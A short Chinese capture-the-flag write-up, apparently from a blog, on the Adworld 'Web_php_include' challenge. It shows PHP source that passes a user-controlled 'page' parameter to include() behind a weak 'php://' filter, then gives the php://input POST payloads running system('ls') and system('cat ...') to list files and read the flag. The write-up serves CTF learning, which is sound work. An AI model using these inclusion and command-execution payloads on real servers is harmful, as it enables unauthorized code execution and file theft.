Web_php_include 攻防世界

复制代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {    以是否检测到php://为判断执行循环
    $page=str_replace("php://", "", $page);//传入空值,替换
}
include($page);
?>

综上分析,get方式好像挺难去看到这个flag的,因为这种代码下的flag通常放在一个文件中,需要先展开ls,然后在cat查看。那我们就尝试用post传参

准备好一个Firefox 一个max hackbar

通过php伪协议php://input

首先post传入第一个命令 ,这个命令用来展开目录

复制代码
<php
system("ls")
?>

随后得到fl4gisisish3r3.php 一般这种文件就是flag,

我们使用

复制代码
<?php
system("cat fl4gisisish3r3.php ")//查看文件下的flag
?>

有的flag会直接在屏幕上,有的就藏在背后i的代码里,这个就是

相关推荐
tryqaaa_10 小时前
学习日志(五)【php反序列化全加例题】【pop链,字符逃逸,session,伪协议】
android·学习·php·web·pop·session
llz_11216 小时前
web-第二次课后作业
前端·后端·web
大数据魔法师19 小时前
Streamlit(二十三)- 教程(二)- 动态导航
python·web
qsuperm1 天前
LitCTF2026WEB
网络安全·ctf
路baby1 天前
2026第十届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·密码学·ctf·misc·御网杯
大数据魔法师1 天前
Streamlit(二十)- API 参考文档(十三)- 缓存与状态管理组件
python·web
大数据魔法师2 天前
Streamlit(十三)- API 参考文档(六)- 媒体展示组件
python·web
大数据魔法师2 天前
Streamlit(十八)- API 参考文档(十一)- 页面导航组件
python·web
大数据魔法师2 天前
Streamlit(十七)- API 参考文档(十)- 身份认证与用户信息组件
python·web